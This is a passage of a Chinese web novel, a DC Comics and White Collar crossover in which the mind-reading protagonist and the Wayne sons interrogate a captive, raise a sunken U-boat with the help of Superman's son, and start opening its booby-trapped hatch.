说罢，他就拿起了电话，拨通了卡修斯的号码。 卡修斯的手机响起的时候，他正坐在红头罩的摩托车后座，在纽约的大道上风驰电掣。被他挂在车座后的文森特在一开始被抓住的时候，在地上被强行拖行了近一公里的距离，考究的风衣和西装早已经被磨得不成样子，整个人也灰头土脸的，用“狼狈”来形容都有点赞美他的意思。 这个手机铃声是他为提姆设的特殊铃声。按照现在的状况，实在不是接电话的好时机，所以铃声响第一遍的时候，他没有接。但对方锲而不舍地又打了一通过来。 “接吧，那个小变态想做的事可是不择手段，你要是不接电话，说不准等会他就来找你。” 听到他心声的杰森语气阴森森的，细听上去，还带着些幸灾乐祸。 卡修斯只好接起了电话。 “在做什麽？” 接通后，提姆没问他为什麽这麽久才接电话，而是先来了一句很温柔的开场白。 这让卡修斯产生了一种也许能瞒天过海的错觉。 他想了想，说：“正在和尼尔兜风，你知道的，我没来过纽约嘛，想见识见识大城市的夜……” “刚才彼特·博克的助手，一个叫戴安的探员来家里了，她是专门来确认你在不在的。” 卡修斯沉默了，过了好一会儿，才心虚地问：“那你是怎麽说的？” “我假扮成你，她确认了‘你’在家，没多说什麽就离开了。” “你假扮……”卡修斯说到一半，卡壳了，“你知道我在做什麽？” 提姆换了蓝牙耳机，一边换衣服，一边说：“你具体在做什麽我是不知道，但我知道一定是不那麽合法的事。你把达米安弄到纽约来，说明这件事跟刺客联盟有不小的牵扯，杰森也参与进来了，我想能打动他的也就那麽几件事——用不完的钱，或者布鲁斯的爱……” 说到这儿，忽然听到卡修斯那边传来一声撕心裂肺的唾弃：“呸！” 卡修斯：…… “耳朵怎麽这麽尖？你呸的那麽用力，头盔里难道不会有口水吗？” “你们说话就说话，别扯上我！”杰森隔着头盔大声吼。 “……偏偏又惹上FBI，那就是还跟尼尔·卡夫瑞有关，联系到他的专业内容，我猜你在忙的事可能和什麽古董藏品有关——还是大批量的那种，简称宝藏。” 卡修斯又想叹气了。这小子为什麽这麽聪明啊！ “说实话，我有点不太高兴，你想做的事情，只要告诉我，我都会帮你的，可是你宁愿找达米安和杰森，也不愿告诉我。是觉得我不可靠吗？” 提姆的语气跟平常说话差不多，但不知为什麽，就是让卡修斯莫名其妙地感觉到一丝负罪感。 他是不是被PUA了啊？ “对不起，我不是故意的。”卡修斯道歉道。 “没关系，反正我现在也知道了。”提姆在电话里笑了一声，问道，“那麽现在，有什麽需要我的地方吗？” 卡修斯想了想，还真有。 要神不知鬼不觉地存放潜艇那麽大的东西，首先就需要一个非常安全的码头和一个非常大的仓库。 “我可能需要一个隐秘性比较强的码头和大一点的仓库。” 既然提姆都这麽说了，卡修斯也就勇敢的提出了自己的要求。 “行，韦恩物流有自己的码头，那里隐秘性很强，码头上的仓库也够大。我这就帮你协调。” 提姆说完，也不等卡修斯说谢谢，直接挂掉了电话。 卡修斯看着已经陷入忙音的手机发了一会儿呆。 “提姆是不是还在生气？” 杰森重重冷哼一声：“你能不能管好你自己的脑子，不要让我听到这麽恶心的东西？” 卡修斯不甘示弱地怼他：“这又不是我能控制的。” “你那个24箴言呢？继续念那个，我宁愿听那个东西！”杰森嘲讽道。 卡修斯戳了杰森的肋骨一下，害的他胳膊一紧，差点翻车。 “喂！找死啊你！”他怒道。 卡修斯戳完也有点后悔，喜欢戳人这个坏毛病还是提姆传染给他的，自己怎麽好的不学，光学坏毛病了？ “你再想跟他有关的事，信不信我把你从车上扔下去？”杰森恶狠狠地说。 卡修斯没理他，而是把头罩掀开，冲着纽约的夜空，啊啊啊地大喊了几声。 “你又犯什麽病呢？”杰森问。 卡修斯的语气有点绝望：“本来想要秘密进行的事，现在好像搞的人尽皆知了。” “你也知道啊？”杰森继续阴阳怪气。 卡修斯盯着文森特已经昏过去的脸，思考了一会儿，充满期待地问杰森：“你说有没有可能，这里是纽约，离哥谭还是有段距离的，布鲁斯也许并没有那麽快知道？” 杰森想了想，说：“有可能。” 卡修斯的眼睛立即有光了，拍了拍他的后背：“展开说说？” “有可能今晚老头子忽然中风了，或者突然得了急性阿尔茨海默，毕竟他年纪也不小了，也到了得这种病的年龄了。”杰森一本正经的说。 卡修斯：…… 你可真是布鲁斯的孝顺儿子。 杰森发出非常愉悦的大笑声。 等他们抵达杰森在纽约的安全屋时，达米安已经在那里等着他们了。 “陶德，我给你的座驾起了个很适合的名字，你觉得‘乌龟’怎麽样？”达米安在用自己的全部肢体语言表达着自己现在非常不耐烦。 “我倒是想快一点，就是怕开太快，把你们要的人给弄死了。”杰森冷哼一声，直接将人从后座的边缘解下来，拖进安全屋。 卡修斯忽然觉得他们三个现在真的非常像反派，布鲁斯要是知道他带着他的两个儿子这麽“为非作歹”，会不会直接把他揍进墙里？ “呵，你倒是挺在意他的想法。”杰森一边将人固定在一张金属椅子上，一边说。 达米安疑惑又不满的看着两个人：“你们两个在说什麽？” 杰森看了卡修斯一眼。 “是的，达米安听不到，拜托千万别让他知道！”卡修斯在心里双手合十。 “没什麽。”杰森说。 达米安的眼神又在两人身上来回扫了眼：“哼，要是让我知道你们背着我……” “哎，赶紧该干嘛干嘛吧，搞正事，等老头子来了，什麽都晚了。”杰森不耐烦地打断他。 卡修斯也是这麽想的。 “不过在此之前我想问你一个问题。”卡修斯举手。 “说。” “你在纽约有安全屋就算了，为什麽这个屋子里还有个直接焊在地上的金属椅子啊？” 这是卡修斯最不能理解的地方。没见过什麽样的安全屋里有这种东西的。 杰森嗤笑了一声：“我什麽时候说这是我的安全屋了？我又不打算在这儿发展，搞安全屋这种东西做什麽？” “这里是刺客联盟审讯犯人的地方。”达米安在一旁说。 卡修斯：…… 好吧。不愧是刺客联盟的少主啊，才这麽一会儿工夫，连审讯犯人的地方都给你找好了。 杰森后退了几步，用手肘撞了撞卡修斯：“你来？” 意思是让他把人弄醒。 但他哪里会这个？ 看出他的犹豫，达米安直接走上前：“我来。” 说着，他从刺客服的腰带里取出一个小包，打开小包，里面有一排银针。达米安抽出几根，直接扎在了文森特头顶正中线与两耳尖连接数的交点处。 没过一会儿，昏迷中的文森特就有了要苏醒的迹象。 卡修斯在心里默默感叹，没想到达米安还是个针灸大师。 杰森靠在一边，忍不住笑了一声，收到达米安对他莫名其妙笑声的怒瞪后，他立即屏住，抬了抬手，做了个“你继续”的动作。 文森特·阿德勒缓缓睁开眼，他的视线逐渐聚焦，终于醒了过来。 就在他清醒的瞬间，达米安又在他头上扎了几针，他整个身体瞬间动不了，只有眼珠能转动。 他看清了站在自己面前的三人——达米安·奥·古，以前常跟在塔利亚身边的护卫，以及……一个看上去有些眼熟的男人——刚才在码头，灯光昏暗，他都没看清除了达米安之外，来支持他的两个人。 “你们……”他的声音嘶哑，表情颓丧，完全没有了之前傲慢的样子。 达米安也没给他废话的机会，又在他面前晃了晃手上的银针：“阿德勒，你现在唯一的出路就是告诉我，我想知道的。” 文森特艰难转动眼珠，在三人身上扫过一遍，说：“少主，你被蒙蔽了，我才是真正忠于刺客联盟的人，他们两个才是居心叵测。我会誓死守住上师交给我的秘密。” 达米安冷笑一声：“那刚才你那个忠诚的护卫自尽的时候，你就应该跟她一起死。既然苟活到现在，就应该知道，得不到我想要的，你会生不如死。” “潜艇的位置。”卡修斯的声音很轻，但每个字都像是冰锥，“别浪费我的耐心。” 他对这个文森特很难生起一点好感。达米安说的对，凯特·莫罗死的时候，如果他也一起自尽，他还能敬他是一条忠实的走狗——但是，既然他没死，就说明他并不像自己说的那样忠诚。 文森特吃了一惊，他没想到这个人居然知道的这麽具体。他不但知道八音盒的秘密，还知道八音盒解密出来的图形具体指向的是什麽。难道是尼尔告诉他的？这麽重要的宝藏信息，尼尔又怎麽会随随便便告诉一个不相干的人？他又多打量了卡修斯两眼，终于想起来他是谁了。 有一次他拉尔斯在刺客的训练场接见他的时候，他见过这个人，他是作为刺客们的“猎物”投放在训练场的。当然，那个时候，他身边那个男人还不是塔利亚的护卫。 文森特不知道卡修斯的身份，但是知道，只有犯了大错的人，才会被拉尔斯作为猎物投放在刺客的训练场，等待他们的下场就是被杀死。 他不能接受自己居然被这样一个人抓捕和审问，于是恶毒的笑了几声，说道：“少主，你居然和最低等的消耗品混在了一起，可见你是真的无人可用了……” 但他还没说完，杰森就忽然上前，狠狠扇了他一个耳光。 “废话少说。”杰森阴森森的说。 这一巴掌扇掉了文森特的两颗牙，让他原本就狼狈的形象更加凄惨，但卡修斯觉得自己居然内心毫无波动。 好像经过这些日子的“熏陶”，自己也可以变的和一个真正的杀手那样冷漠了。 文森特啐了口嘴里的血沫，直接道：“我不会说的，告诉你想要的，我才是真的没了活路，少主，你当我是傻的吗？” 潜艇里的宝藏是他和他的祖辈筹谋了许多年的东西。不过他深知，这麽大一笔财富，凭借他自己的能力，绝对守不住，一定要找一个实力超绝的靠山才行。他凭借这个消息，让恶魔之首看到他，又借着几年前那场骗局敛来的财富，彻底让恶魔之首认可了他的能力。 恶魔之首还活着的时候，他当然会死心塌地为他所用，但现在拉尔斯死了，但这笔巨额财宝就是他立身的根本。达米安·奥·古没有参与这场继承人的战争，文森特自动将他排除在了刺客联盟未来的首领之外——即使他曾经多麽受宠爱也没用。 他已经差不多找到了潜艇的位置，只要他拒绝透露，这个小崽子也拿他没有任何办法。 卡修斯听到了他的心声，笑道：“你也不用说出来，只要稍微回忆一下就行了，你看，现在我不是就知道，你已经差不多找到潜艇的大概位置了吗？” 文森特的脸色一下子变了：“你怎麽……” “是啊，我就是能听到你在想这麽。”卡修斯平静地说，“除非你管得住自己的脑子，永远都不要想我们知道的东西。” 他刚才站的离文森特很近，终于听到了他的心声。 看来之前没听到并不是因为他有多特殊，而是因为站的不够近？这个距离是跟什麽有关的？难道是跟炮灰程度相关？ 不过卡修斯把这个问题暂时放在一边，他已经从文森特的脑子里得到自己想要的消息了。 虽然他还没将潜艇打捞上来，但他已经确定了大概的位置，只要他做成的天线收到具体的信号，他就能立刻实施打捞。 但卡修斯并没有显露出来，转而问道：“这艘潜艇里到底装了多少宝藏？让恶魔之首这麽看重它？” 卡修斯听到文森特在心中讥笑他： “还以为他真的知道很多呢，原来也不过如此，拉尔斯最想得到的才不是什麽宝藏，而是传说中潜艇里有一把能打开时空之门的钥匙……不过这种事，也就只有拉尔斯这样的人相信。” 卡修斯的心跳漏跳了两拍，几乎是条件反射地，他开始背诵那24字。 杰森莫名其妙的看了他一眼，不知道他忽然想到了什麽，这麽神神秘秘的不敢让人知道。 等卡修斯觉得自己能很好的隐藏心绪，才重新挂上一个笑容，礼貌道谢：“感谢你的配合，这就去你家拿信号天线。” 说着，他打给了莫兹，让他联系爱丽克丝，并且给了他一个地址，告诉他，那个分形图做成的成品天线就在文森特的住所，让他们别瞎琢磨了，直接去拿。 莫兹一听，立即就来了兴趣，马上答应下来，不过他还是没忘记自己的朋友，又问了一遍尼尔怎麽样了。 “现在和彼特·博克在一起，非常安全。”卡修斯说。 只要他对八音盒的事保密，彼特·博克也不能长时间将他留在FBI。 自从文森特透露了他真正想知道的东西，卡修斯才开始变得迫不及待起来。 现在布鲁斯应该已经知道了他在纽约搞出来的动静，说不准这两天就要过来亲自“审问”他，他希望能在此之前进入潜艇，找到他想要的东西。 杰森对他这麽快就知道这一切感到有些诧异，达米安倒是已经习惯了，毕竟上次在找丧钟的时候，他已经见识过一次了。 “我要去找莫兹，跟着他们一块儿去找潜艇。”卡修斯直接说。 杰森立即说：“我也去。” 达米安很放心宝藏最终的归属，于是点了点头：“你们先去，我还有话问他。” 他总觉得吱吱隐藏了一些重要信息。他了解自己的祖父，如果这艘潜艇里的东西只涉及财富，祖父不会这麽重视，甚至将一整个城市的刺客都交给他调遣，还派给了他凯特·莫罗这样级别高的精英刺客。 卡修斯现在想要找到潜艇的心情非常迫切，于是点了点头，只叮嘱了一句：“别把人弄死了就行。” 达米安意外道：“我还以为你会很乐意我杀了他。” 卡修斯笑了笑：“我跟他无冤无仇，我杀他做什麽？” “因为他见过你最落魄的样子？”达米安说。 “要是这麽说，你和杰森都见过我过的不好的样子，我也没对你们喊打喊杀的呀。” 杰森在旁边重重哼了一声。 卡修斯假装没听到，只说：“彼特·博克今天见过了文森特，他一定会逼问尼尔今天晚上的原委，虽然尼尔不会出卖我，但如果文森特死了的话，尼尔就变成了谋杀文森特的共犯。” 达米安一脸不高兴：“你担心他做什麽？” 卡修斯耐心道：“我还没认识你们的时候，和他一起在哥谭的一家酒吧打工，那个时候他很照顾我，我不希望因为这件事，害得他又回去坐牢。凯特刚死，他不应该在监狱里度过最难熬的时光，他的身边应该有朋友在，即便这个朋友不是我。” 达米安想了想，才说：“我本来也没想杀他，我已经答应过父亲，绝不轻易夺取任何人的性命。” 卡修斯想要摸摸他的头，但还是忍住了。 “好。” 说完，他就和杰森准备离开。 达米安忽然叫住杰森：“陶德，照顾好我的财产。” 卡修斯：…… 真的不想再听到这句话了！ 杰森回应他的就是高举右手，竖了个中指。 等到两人消失在门后，达米安才回过头来，看着依旧被绑在椅子上的文森特，露出一个如同他之前形容自己的那般，一个嗜血的笑容。 “我刚才说过，你会生不如死。刺客联盟的继承人，从来说到做到。” …… 爱丽克丝和莫兹的效率比卡修斯预期的还要高，不到两小时，他们就一起带着天线出现在了说好的集合地点，身后还跟着一脸跃跃欲试的莫兹。 爱丽克丝埋怨道：“文森特的安保系统比我想的复杂，差点就触发警报。” 而且今天晚上全城戒严，搜捕劫走文森特的两个骑手，路非常不好走。 “辛苦一点也是值得的，毕竟这是你祖父等了一辈子的东西。” 爱丽克丝哼了一声，但也没有反驳。 因为卡修斯已经从文森特的心声里获得了潜艇所在的大概位置，目前他们要做的就是用快艇载着带着天线接收信号的莫兹沿着全城的海岸线地毯式搜索。这个办法虽然笨，但也是目前来说，最有效的。 好在他们需要搜索的海岸线并不算是特别长。 提姆适时的给他发了消息：“码头已经安排好了，仓库也清空了。” 韦恩集团的少总裁做事就是靠谱。 杰森跨上摩托：“现在全城的警力都在找文森特和我们，为了你们的行动顺利，我去替你吸引火力。” 说罢，他戴好之前的红色头盔，一脚油门踩着冲了出去。 什麽“替你吸引火力”？说得好像他自己不想得到宝藏似的。 之前提姆的话提醒了他，杰森对这件事这麽积极，肯定也不是大发善心，而是有所图，图的当然也是宝藏。 他知道他和军火库的武器研发都非常需要钱，冰山餐厅的收入大部分都被他打给了军火库，如果有了这笔宝藏，就算只有一成，也够他们造很长一段时间了。 在游艇上沿着海岸线找信号这件事很枯燥，不过大家都没什麽睡意，不到两个小时，莫兹就找到了信号源，确定了潜艇的坐标。 “找到了！” 他听着耳机里发出的嘟嘟嘟的声音，兴奋的大喊。 爱丽克丝甚至激动到忍不住拥抱了莫兹。 “现在的问题就是，我们怎麽把它弄上来？还是去进行水下作业？” 爱丽克丝激动完后，最先恢复冷静。 肯定不能在水下作业啊，谁知道水压会对炸弹有什麽影响？ 他们不但要打捞潜艇，还要尽快捞起来。布鲁斯可是有蝙蝠机的男人，他真怕对方开着蝙蝠机，连夜飞来纽约制裁他。 “我们把它捞上来。”卡修斯说。 “我们？”莫兹指了指自己，不敢相信自己居然还要背负这麽沉重又离谱的任务。 第87章 宝藏get√ “我说的‘我们’只是一个代称，里面并不包括你，别担心。”卡修斯看到莫兹用“你是不是疯了”的眼神看着他，友善地解释，“只不过我们确实要尽快将它捞上来，以免夜长梦多。” 担心布鲁斯找来是一方面，另一方面，尼尔现在肯定在被彼特·博克连夜审问。虽然卡修斯相信尼尔绝不会轻易说出八音盒的事，但任何事都有个万一。凯特·莫罗以那麽决绝的方式在他面前自。杀，现在正是尼尔的感情最脆弱的时候，一旦彼特·博克以她的死为突破点，攻击尼尔的心里防线，难免尼尔不会一时情绪失控，说出什麽不该说的话。 到时候再想神不知鬼不觉的把潜艇里的宝藏弄到手，可就不容易了。 “好吧，知道你认识许多身怀绝技的‘大人物’，可是连夜打捞这样一个庞然大物，而且还要‘秘密打捞’，这对任何一个人类来说，都是难以完成的任务吧。这是潜艇，又不是漂流瓶。” 莫兹站在科学的角度，对卡修斯的需求提出质疑。 卡修斯怜爱地看着莫兹，觉得他对他们所处的这个癫狂的世界一无所知。 他的计划是让杰森承担这个艰巨的任务，谁让他是拥有外星飞船的男人呢？而且，他想要瓜分宝藏，难道不应该多做点贡献吗？ 用他那个超越地球科技的宇宙飞船打捞一艘小小的近代潜艇，可不就跟捞漂流瓶似的麽？ 正在说话间，达米安又出现了，他如同鬼魅一般，也不知道从哪里窜出来的，直直从半空中降落在他们的游艇上，吓了莫兹一跳。 达米安显然对莫兹的老鼠胆子嗤之以鼻，哼了一声后，从容地收起手上的抓鈎枪。 莫兹现在对这个小萝卜头有点害怕，尤其是在听爱丽克丝口述了达米安在码头以一敌一百的彪悍战绩之后。 不过爱丽克丝没有留到达米安“龙袍”加身的那一刻，要不然莫兹对这位刺客联盟继承人的敬畏恐怕会大打折扣。 “你们找到潜艇了？” 达米安说话的语气有点阴沉，大概是还没从刑讯文森特·阿德勒的场景中转换过来。 卡修斯从兜里摸出来一块巧克力，撕开包装袋，顺手塞进了达米安嘴里。 达米安居然下意识也张嘴吃了。 “你给我……”说到一半，达米安尝出嘴里的东西是什麽，瞪了卡修斯一眼，“不要随便给我吃来历不明的东西！” 说是这麽说，但他还是把嘴里的巧克力嚼吧嚼吧咽了下去。 “还有吗？”达米安吃完，甚至有点意犹未尽。而且一块巧克力下肚，无论他的语气还是神态，都好了许多。 卡修斯摊了摊手：“没了，就一块。” 而且还是充话费送的。不过这话卡修斯可不敢说出来。 他又不是蝙蝠侠，腰带里专门有一格放棒棒糖用来哄孩子。 “我这儿还有。”爱丽克丝也从兜里摸出一块巧克力递给他，卡修斯瞄了一眼，发现她带的巧克力可比自己刚才拿出来的充话费送的高级多了。 达米安看都没看一眼：“你以为谁的东西我都会吃吗？” 爱丽克丝无语极了，好心当成驴肝肺。但介于这个小孩恐怖的武力值，她也敢怒不敢言。最后还是莫兹接过了她手上的巧克力，表示忙了大半个晚上，刚好需要这东西来补充点能量。 “你说的‘我们’不会就是这位奥·古小先生吧？”莫兹嘴里含着巧克力，含糊不清地说。 “不好意思……我来晚了。”又一个小男孩从天而降。 莫兹：…… 现在连当小男孩都这麽卷了吗？ “怎麽回事？”达米安皱着眉问，但脸上倒是没什麽厌烦的神色，就连说话的语气，都比刚才更好了一些。 “妈妈病了，爸爸最近在医院报社两头跑，非常忙，爸爸不在的时候，我要去医院守着妈妈。” 小男孩的脸上确实带着些乏色。 卡修斯不动声色的打量着这个小孩，他穿着一条非常潮的蓝色水洗破洞牛仔裤，上身是一件深浅蓝拼接的蓝色卫衣，从肩部到袖子还有一道两指宽的红色装饰带。 他一头黑色的头发自然卷曲着，一双与超人蓝的如出一辙的眼神此刻正显露出几分忧郁。 卡修斯对他的身份有了猜测：“他是……” “乔纳森，能帮我们捞潜艇的人。”达米安快速的介绍。 说完，他又凑近乔纳森悄悄说：“我不知道你妈妈病了。” 意思是如果他知道的话，也不会打扰他，会想其他办法的。 乔纳森非常友善的笑了笑，说：“没关系的，反正就一会儿的事儿，很快就能搞定。” 莫兹听着两个小男孩的话，很怀疑到底是他的耳朵坏了还是对面疯了。 “这个小男孩？能帮我们捞潜艇？还‘一会儿’就能搞定？” 因为质疑得太过用力，他连声音都变了调。 爱丽克丝也一脸不相信，觉得这两个小男孩简直是在异想天开。但她也能理解，哪个小男孩小时候没有做过自己是超人的梦呢？ 达米安冷哼一声，对着乔纳森说：“开始吧。” 乔纳森二话不说就跳进海里。 “哎！”莫兹吓的赶紧冲过去伸手拉，可惜连对方的衣角都没碰到。 “这可不是开玩笑的，虽然靠近海岸线，但这里的水深也够呛，可不是小孩们能玩闹的地方，你快点让他上来！” 莫兹着急的已经开始抓脑袋上并不存在的头发了。 但是无论达米安还是卡修斯，都对他的焦急无动于衷，让莫兹越来越怀疑自己是不是一不小心真的误入了一个精神病团体。 两三分钟了，水面下还是没有动静，莫兹已经从焦急变成了绝望，而爱丽克丝已经拿起了手机，准备再次报警。 达米安一把夺走了她的手机：“你惹的麻烦还不够多吗？” 他毫不留情地斥责道。 要不是爱丽克丝擅自报警，引来了纽约警方的注意，他们又怎麽会这麽快暴露给父亲？现在也不需要这麽仓促的打捞潜艇。 当然，这里面也有提姆和杰森的错，如果他们他们俩能老老实实待在哥谭，别跟着他掺和，绝对能隐瞒更久的时间。 莫兹发现卡修斯正专注的盯着海面，像是真的期待浮上来的是潜艇而不是什麽无辜小男孩的尸体似的。 水面渐渐有了动静，一层又一层的涟漪荡开，几个锈迹斑斑的金属圆柱体率先露出水面，接着是金属穹顶，渐渐地，整个潜艇升了上来，爱丽克丝惊讶的盯着眼前的一幕，莫兹的嘴巴也张大了，眼镜也从鼻梁上滑了下来。 外观斑驳的潜艇完全浮上水面，露出了它画在侧面的服役编号U-896，但它依旧没有停下，还在缓缓上升。 接着，莫兹就看到刚才跳下水的小男孩双手托举着潜艇，湿漉漉的从水中升了起来。 我勒个牛顿的棺材板啊！这还是人吗？ 莫兹在心里疯狂尖叫。 虽然他也听过超人的传闻，但那个外星人大多数出现在大都会，有时会从纽约的上空飞过，那也只是一抹红色的残影。 莫兹只在电视上见过超人那散发着神性的身躯，从没在现实中真的见过这个外星人。 所以他始终坚定的认为，这个会飞的外星人只不过是政府联合媒体一起给大众制造的虚假幻觉，从来都不是真的。 直到此刻，他亲眼看到一个神似超人的小男孩，用小小的身躯从水底托起一艘潜艇，创飞了他原本还算科学的世界观。 “他是……”莫兹语塞。 “超人的孩子吗？”爱丽克丝也喃喃道。 达米安和卡修斯的目光都追随着乔纳森托着潜艇的身体，直到他将这艘年代感十足的大家夥重重地放在码头上。 提姆已经在那里等他们了。 “小乔，辛苦你了。” 提姆看着乔纳森，温和地笑道。 每当看到他，提姆就会忍不住想到自己的好友康纳。不过，卡修斯说过，康纳总有一天会回来的，抱着这份对卡修斯的信任，他不再偏执地沉迷克隆技术，而是重新充满希望地等待。 小乔乖巧地摇了摇头，表示小事一桩，问清楚要把潜艇放哪里之后，就扛着潜艇哼哧哼哧地去了仓库。 等一切结束后，他也因为消耗了太多力气，变得脸色有些苍白。 “你现在会飞了吗？”卡修斯终于找到机会，跟乔纳森搭上了话。 刚才看着他托着潜艇悬浮在半空中的时候，很有超人的风采。 乔纳森知道这是达米安对他提起的，对他很重要的小动物（？小乔疑惑，不过想想人类也算动物，也就释然了。），他抓了抓头发，不好意思的说：“还不会，只是偶尔能飘的时间久一点，我还会多加练习的。” 莫兹在一旁听的一脸无语：听听你们说的是地球话吗？人类是能通过多练习学会“飘在空中”的吗？ 他看上去很想上前去和这个小男孩探讨一些科学问题，但达米安又走过来了。 “你妈妈不是生病了吗？你现在要回去吗？”他问。 虽然乔纳森很想留下来，他还没见过真正的宝藏是什麽样的，但他也很担心妈妈的身体，想了想，还是打算回医院陪妈妈。 “露……莲恩女士怎麽了？”卡修斯本来想直接叫名字，都说出半个单词了，才惊觉以他现在的身份，直接叫对方妈妈的教名有点太唐突，况且旁边还有莫兹和爱丽克丝这两个外人在，以他们的聪明，只要说出露易丝的名字，再加上大都会的标签，很容易想到大都会最著名的，得过普利策奖的女记者，到时超人的马甲就不保了。莫兹或许会保密，但他真的很难相信爱丽克丝能同样帮他们保守秘密。 小乔惊讶于卡修斯居然知道他妈妈是谁，但想到他是达米安最信任的人，认为是达米安告诉他的。也没多想，于是说：“她……工作的地方遇到爆炸袭击，现在昏迷不醒，正在住院。” 星球日报遭到爆/炸袭击？真的不是卢瑟干的吗？卡修斯下意识觉得是莱秃又在搞事情。 小乔听到了卡修斯的心里话，他惊讶的抬头看向对方，以为卡修斯也是超能力者。但看到旁边还有两个不认识的人，所以委婉的问道：“你也和我爸爸的同事是一样的吗？” “什麽？”卡修斯疑惑的看着小乔，一时间不知道他的话是什麽意思。 乔纳森用手指了指自己的太阳xue位置。卡修斯瞬间明白了，看来小乔也能听到他的心声。 看来他对这个世界来说真的毫无隐私可言。不过卡修斯已经习惯了，而且现在也不是解释这件事的好时机——他现在的心思完全在即将进入潜艇的亢奋之中。 小乔又问：“所以，你和琼恩叔叔是一样的吗？” 卡修斯已经将注意力重新放在里潜艇上，没仔细听小乔在说什麽，心不在焉地点了点头：“嗯。” 达米安皱眉看着小乔和卡修斯交互，越发觉得卡修斯有事瞒着他。他打算等会儿没人的时候，好好审问一下居然敢对自己有所隐瞒的吱吱。 莫兹和爱丽克丝也把见到疑似超人儿子的震惊放到一边，心情激动的围着这艘在海底沉寂了六十多年的庞然大物转了好几圈。 “尼尔不在，我们真的能打开潜艇舱门吗？”莫兹有些担心。 “所以我才在这里。”提姆面带微笑地说。 “那就开始吧，让我们看看你的本事，狐狸。”达米安双手环胸说道。 提姆好像也已经习惯了被达米安时不时动物化，几人一起攀上潜艇顶部，开始围观提姆开锁。 “潜艇盖板沉重，安全起见需要两个人一起作业。”卡修斯说。 达米安直接说：“我来。” 卡修斯阻止了他：“少主，您身份尊贵，还是别靠这些危险品太近。” 这麽多成年人在，让一个10岁小孩上，就算这个小孩特别牛B，他也做不到。 说着，他指了指靠近仓库大门位置观察室：“你们去那边吧，达米安，一旦发生爆炸，我相信你可以带着他们俩迅速离开。” 达米安对这个安排非常不满意：“我为什麽要管他们的死活，既然这麽危险，就都不要去了，我让乔纳森把它扔回水里，直接引爆算了。” 莫兹和爱丽克丝一言难尽地看着他。 果然是富贵人家出来的吗？视金钱如粪土，但是你能不能不要代表我们发表意见？ “我们费了这麽多任务夫，好不容易找到它，难道要功亏一篑吗？放心，我有把握的。”卡修斯耐心的劝说。 达米安本想指望提姆劝劝他，结果该死的狐狸在旁边完全不说话。 “一旦出意外，我就让他们两个给你们陪葬。”达米安恶狠狠的说。 莫兹和爱丽克丝已经麻了。小少爷，这也不关我们的事啊！ 达米安带着莫兹和爱丽克丝撤离了潜艇，只留下了摄像设备，方便他们同步观察。 等舱顶位置剩下他们两个人，卡修斯看了提姆一眼，问：“怕吗？” 提姆笑了笑：“我遇到过许多比拆弹更危险的事，这话应该我来问你。” 他知道卡修斯在没有来这个世界前，生活在一个非常安全的环境里。 “怕死吗？”提姆也问。 “怕，不过我相信你们不会轻易让我死掉的。”卡修斯也笑着回答他。 他已经死过太多次了，知道死亡有多可怕，正是因为知道，所以更加敬畏死亡。 可如今他们准备充分，卡修斯不觉得他们两个点子背到这种程度。 两人蹲下来，开始认真攻克潜艇最上层的舱门。 “韦恩集团的总裁也熟悉开锁？” 还是开潜艇舱门的锁。 爱丽克丝看到提姆娴熟的开锁姿态，非常疑惑。 “工作需要。”提姆一边认真开锁，一边随口答道。 爱丽克丝知道问不出什麽了，也不再开口。 不过她算是看出来了，这个韦恩家，肯定不是普通的老钱家族。她看着达米安和经常出现在娱乐头条上的布鲁斯·韦恩酷似的面容，已经猜到了他的身份。 韦恩的亲子，另一半的血缘竟然来自这个世界上最神秘的恐怖组织，这种要命的消息她也只能深深地埋在心底一辈子，绝对不敢轻易透露，更不敢让他们任何一个人看出来自己猜到了。 就在她思绪纷转的这会儿，两人已经合力打开了潜艇入口最外层的盖子。 果然就像卡修斯说的那样，下面是一个密码器，密码器和一个老式德文打字机连为一体，放在一个木质盒子中。 提姆将密码器小心地提上来，果然发现它的底部和大量的TNT炸/药连接在一起。 提姆看了眼密码器上的键位，说：这个谜题用了一系列的**组成的，有1500亿种组合方式，除非拿到正确的密码才能打开。 “不能直接拆弹？”达米安问。 卡修斯摇了摇头。 他可是记得原本的剧情中，尼尔和彼特在文森特的逼迫下强行拆弹，结果因为剪错了线，启动了炸弹的倒计时设备。 “为了安全，达米安。”说着，卡修斯转头，远远看着女人，对着通信器说，“爱丽克丝，密码就拜托你了。” 爱丽克丝像是才回过神一般，说：“在这之前，我要先确定一下，真的打开门，宝藏的归属，我们该怎麽算？” 达米安的眼中闪过一丝厉色。 但爱丽克丝强忍着畏惧，和达米安对峙。 卡修斯没有出声，在原本的剧情里，这一大船宝藏，最后都便宜了俄罗斯政府，连莫兹他们也都只留存了一小部分，爱丽克丝更是什麽都没得到。 提姆适时地开口：“D，亨特小姐掌握着密码，尼尔更是替我们拖住了FBI的人。” 卡修斯忍不住点了点头，再怎麽着也不能让莫兹他们白忙一场。如果尼尔最后真的不得自由，还要靠这笔宝藏去世界的另一端安身立命。 达米安垂眼思索了一阵，才问道： “你们想要多少？” 莫兹和爱丽克丝对视一眼，最后还是莫兹鼓起勇气说道：“我们双方，一边一半。” 达米安发出一声尖锐的冷笑。 “要不是你们是吱吱的朋友，现在你们就和那些还没见面的财富一样，变成一堆死物了。觊觎联盟财产的人都没什麽好下场。” 爱丽克丝开口道：“那我们要三成，不能再少了，否则，我宁愿不说出密码。” 达米安深呼吸了几口气，深深觉得自己在父亲的影响下，涵养越发的好了，居然允许有人用威胁的口吻和自己讨价还价。 就在他准备拔刀的时候，提姆适时地再开口：“快决定吧，再不打开潜艇，天一亮，可能这一船的财宝都不属于我们任何一个人。” 说着他又晃了晃手机，上面是来自韦恩庄园的一连串未接来电。 达米安深吸一口气：“虽然没有你们，凭借我们的力量也能找到潜艇，但既然我的狐狸和仓鼠都觉得你们应该获得这份赏赐，我就大发慈悲地同意你们的请求，允许你们带走其中三成的财富。” 爱丽克丝心里缓缓吐出一口气，这已经是她能想到的最好的结果。 说实话，当亲眼目睹达米安的凶残程度之后，她本来就对拿到宝藏不再抱什麽希望。因为她深知强权者不讲道理的真谛。 但这是她祖父执着了一辈子的事，她也为此差点丧命，不试一试，总是不甘心。 好在现在最终有了一个好结果。 她深吸一口气，看着卡修斯三人的眼光前所未有的真诚。 “虽然我的职业不够正面，但在行业里，也算是顶尖高手。以后如果有什麽需要我的地方，我一定为你们赴汤蹈火。”爱丽克丝说。 “我也是！”莫兹也举起手。 卡修斯的眉毛稍微动了动。话说，他本来找莫兹真正的目的都还没说呢，等进入到潜艇内部，找到文森特说的钥匙，他一定要和莫兹好好研究一下关于时空旅行的问题。 